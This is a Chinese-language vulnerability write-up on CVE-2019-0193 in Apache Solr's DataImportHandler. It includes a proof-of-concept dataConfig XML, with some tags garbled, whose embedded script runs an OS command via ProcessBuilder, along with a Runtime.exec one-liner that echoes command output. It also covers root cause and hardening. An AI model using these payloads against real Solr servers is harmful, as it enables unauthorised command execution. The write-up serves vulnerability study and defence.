【技术分享】Solr DataImportHandler组件漏洞

编号

CVE-2019-0193

漏洞简介

DataImportHandler是一个可选但使用广泛的模块,默认不启用,用于从数据库和其他源中提取数据,它有一个特性即整个DIH配置可以来自一个请求的“dataConfig”参数。DIH管理的调试模式使用它来方便地调试DIH配置的开发。因为DIH配置可以包含script脚本,所以这个参数存在安全风险。从Solr的8.2.0版本开始,使用这个参数需要设置 Java System property,设置"enable.dih.dataConfigParam" 为 true.。

漏洞详情

分析

漏洞越来越多,每个跟进都需要及时。环境搭建是编制漏洞POC永恒的过程,通过认真进行的环境搭建有助于清晰实际利用的难度,了解应用资产的部署范围、准确梳理漏洞利用思路,切实提出有效的修复方案。

目标内网机器名越来也规范,架构越来越复杂,不断的扩展网络发现未知后端服务后查找公开资料、exploit-db、cve漏洞,希冀历史poc生效。长期储备攻击手段,了解目标主流技术栈的基本后端业务,攻击才能越来也熟练和自信。

搭建过程不再赘述,参考资料有较为详细的教程。漏洞利用主要参考披露的有限信息。

https://lucene.apache.org/solr/guide/6_6/uploading-structured-data-store-data-with-the-data-import-handler.html#the-scripttransformer

核心实现是org.apache.solr.handler.dataimport下的ScriptTransformer方法

【技术分享】Solr DataImportHandler组件漏洞_第1张图片

显然得知,漏洞利用脚本如下。

poc

 version="1.0" encoding="UTF-8" ?>  
<dataConfig>  
<dataSource name="fromMysql"
     type="JdbcDataSource"  
     driver="com.mysql.jdbc.Driver"  
     url="jdbc:mysql://localhost:3306/mysql"  
     user="root"  
     password="123456"/>
<script >
   function f2c(row) {
      var x=new java.lang.ProcessBuilder;x.command("open","/");org.apache.commons.io.IOUtils.toString(x.start().getInputStream());
     return row;
   }
   ]]>
 script>  
<document>  
 <entity name="Users" query="SELECT 1" transformer="script:f2c">
 entity>  
document>  
dataConfig>【技术分享】Solr DataImportHandler组件漏洞_第2张图片

根本原因是solr的特性ScriptTransformer,称为脚本转换器,使用菜单项的dataimport功能时通过连接数据源获取数据索引,然后触发用户自定义的script处理查询出来的数据,实现命令执行。默认使用java6后支持js的scriptmanager,也支持Javascript, JRuby, Jython, Groovy, BeanShell的写法,通过script的tag指定language,当然lib必须有对应的jar包。但是在java的运行环境中,JavaScript也可以执行命令,因为scriptmanager的机制是可以js调用java代码,所以除了上面的poc外,还有一个支持回显的写法如下。

 print(new java.io.BufferedReader( new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(\"open .\").getInputStream())).readLine())

虽然这个功能是后台才能执行,但是solr后台一般是没有认证,官方认为这类软件必须是部署在内部网络的,也提供BASIC和Kerberos插件等身份认证方式。建议启动solr时添加对应的参数,通过java security manager 设置也可以进行安全加固。笔者认为严格来说并不能算是安全漏洞,仅仅是安全设计问题,只是支持的功能特性的范围太宽泛了。

搜集处理

利用完毕后,将相关漏洞代码纳入Vulncode-DB,作为同类型漏洞挖掘的知识储备。

参考资料

https://www.freebuf.com/sectool/159970.html

https://www.openwall.com/lists/oss-security/2019/08/01/1

https://nvd.nist.gov/vuln/detail/CVE-2019-0193

https://issues.apache.org/jira/browse/SOLR-13669

http://lucene.apache.org/solr/guide/8_1/uploading-structured-data-store-data-with-the-data-import-handler.html#the-scripttransformer

你可能感兴趣的:(【技术分享】Solr DataImportHandler组件漏洞)